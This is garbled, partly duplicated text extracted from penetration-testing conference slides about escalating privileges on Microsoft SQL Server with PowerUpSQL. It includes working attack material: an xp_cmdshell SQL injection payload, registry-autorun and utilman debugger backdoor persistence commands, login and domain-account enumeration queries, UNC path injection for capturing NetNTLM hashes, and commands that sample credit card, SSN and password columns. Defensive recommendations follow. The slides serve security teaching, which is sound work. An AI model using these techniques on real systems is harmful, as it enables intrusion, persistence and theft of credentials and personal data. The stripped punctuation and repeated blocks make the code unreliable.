PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc
EscalatingPrivileges
Shared Service Accounts
Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts
1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them
One account to rule them all
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Access to HVA with shared domain service account
Key
HVA = High Value Application
LVA = Low Value Application
Execute commands and gather data from other
database servers via osql
3
Leveraging Shared MS SQL Server Service Accounts
EscalatingPrivileges
Crawling Server Links
Escalating Privileges Crawling Server LinksWhatrsquos a database link
Database links are basically persistent database connections for SQL Servers
Why should I care
Short answer = privilege escalation
Public role can use links to execute queries on remote servers (impersonation)
SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)
Stored procedures can be executed (xp_cmdshell)
Links can be crawled
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
EscalatingPrivileges
SQL Login to SysAdmin
Escalating Privileges Weak PasswordsDidnrsquot we just cover this Yes but therersquos morehellip
Technique PowerUpSQL Function
Dictionary Attack Invoke-SQLAuditWeakLoginPw
Default Password Test Invoke-SQLAuditDefaultLoginPw
Local Windows or ADS Domain Account
Get-SQLConnectionTestThreaded
Escalating Privileges Weak Passwordshellipwe can also enumerate SQL Server logins and Domain Accounts
Technique PowerUpSQL Function
Blind Login Enumeration+
Dictionary Attack =
Super Cool
Invoke-SQLAuditWeakLoginPw
bull Enumerate all SQL Server logins with the Public role
bull Enumerate all domain accounts with the Public role
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
4 Increment number and repeat
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
4 Increment number and repeat
select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null
Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7
Escalating Privileges Weak Passwords
select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null
Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
Domain of SQL Server
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
Full RID of Domain Admins
group
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
6 Increment and repeat
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges DEMO
DEMOGet-SQLFuzzServerLogin
Invoke-SQLAuditWeakLoginPw
Get-SQLFuzzDomainAccount
Escalating Privileges Impersonation1 Impersonate Privilege
a Server EXECUTE AS LOGIN
b Database EXECUTE AS USER
2 Stored Procedure and Trigger Creation Injection Issues
a EXECUTE AS OWNER
b Signed with cert login
3 Automatic Execution of Stored Procedures
4 Agent Jobs
5 xp_cmdshell proxy acount
6 Create Databse Link to File or Server
7 Import Install Custom Assemblies
8 Ad-Hoc Queries
9 Shared Service Accounts
10 Database Links
11 UNC Path Injection
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Prosbull Execute queriescommands in another user
context
Consbull Requires database to be configured as trustworthy
for OS command executionbull Commands and queries are not limited in any way
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE
Consbull No granular control over the database ownerrsquos
privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB
which is often a sysadminbull Requires database to be configured as trustworthy for
OS command executionbull Impersonation can be done via SQL injection under
specific conditionsbull Impersonation can be done via command injection
under specific conditions
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
SYSADMIN is often the
OWNER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull Use signed Procedures
o Create stored procedure
o Create a database master key
o Create a certificate
o Create a login from the certificate
o Configure login privileges
o Sign stored procedure with certifiate
o GRANT EXECUTE to User
Prosbull Can execute queriescommands in another user
contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as
trustworthy for OS command execution
Consbull Impersonation can be done via SQL injection
under specific conditionsbull Impersonation can be done via command
injection under specific conditions
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
PURE EVIL
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure
bull Stored procedures ca be configured to execute when the SQL Server service restarts
Prosbull Marking a stored procedure to run when the SQL
Server service restarts has many use casesbull Only stored procedures in the master database
can be marked for auto execution
Consbull No granular control over what context the startup
command is executed inbull All stored procedures marked for auto execution
are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures
can lead to execution as lsquosarsquo
Escalating Privileges DEMO
DEMOInvoke-SQLAudit
Escalating Privileges Invoke-SQLPrivEsc
Whooray for Automation Demo
Escalating Privileges DEMO
DEMOInvoke-SQLEscalatePriv
Escalating Privileges Invoke-SQLPrivEsc
DEMO
EscalatingPrivileges
SysAdmin to Service Account
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
Executing OS Commands xp_cmdshell Custom Assemblies (net) Custom Extended Stored Procedures (C++) Agent Jobs
o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package
Registry Autoruns File Autoruns
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
You donrsquot need to know the password crack a hash or PTH
Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin
Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016
- Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)
- We can now escalation from service account to LocalSystem
- No patch that Irsquom aware of
Check out their blog for details
httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system
Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution
PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc
EscalatingPrivileges
Shared Service Accounts
Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts
1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them
One account to rule them all
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Access to HVA with shared domain service account
Key
HVA = High Value Application
LVA = Low Value Application
Execute commands and gather data from other
database servers via osql
3
Leveraging Shared MS SQL Server Service Accounts
EscalatingPrivileges
Crawling Server Links
Escalating Privileges Crawling Server LinksWhatrsquos a database link
Database links are basically persistent database connections for SQL Servers
Why should I care
Short answer = privilege escalation
Public role can use links to execute queries on remote servers (impersonation)
SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)
Stored procedures can be executed (xp_cmdshell)
Links can be crawled
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
EscalatingPrivileges
SQL Login to SysAdmin
Escalating Privileges Weak PasswordsDidnrsquot we just cover this Yes but therersquos morehellip
Technique PowerUpSQL Function
Dictionary Attack Invoke-SQLAuditWeakLoginPw
Default Password Test Invoke-SQLAuditDefaultLoginPw
Local Windows or ADS Domain Account
Get-SQLConnectionTestThreaded
Escalating Privileges Weak Passwordshellipwe can also enumerate SQL Server logins and Domain Accounts
Technique PowerUpSQL Function
Blind Login Enumeration+
Dictionary Attack =
Super Cool
Invoke-SQLAuditWeakLoginPw
bull Enumerate all SQL Server logins with the Public role
bull Enumerate all domain accounts with the Public role
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
4 Increment number and repeat
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
4 Increment number and repeat
select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null
Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7
Escalating Privileges Weak Passwords
select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null
Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
Domain of SQL Server
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
Full RID of Domain Admins
group
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
6 Increment and repeat
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges DEMO
DEMOGet-SQLFuzzServerLogin
Invoke-SQLAuditWeakLoginPw
Get-SQLFuzzDomainAccount
Escalating Privileges Impersonation1 Impersonate Privilege
a Server EXECUTE AS LOGIN
b Database EXECUTE AS USER
2 Stored Procedure and Trigger Creation Injection Issues
a EXECUTE AS OWNER
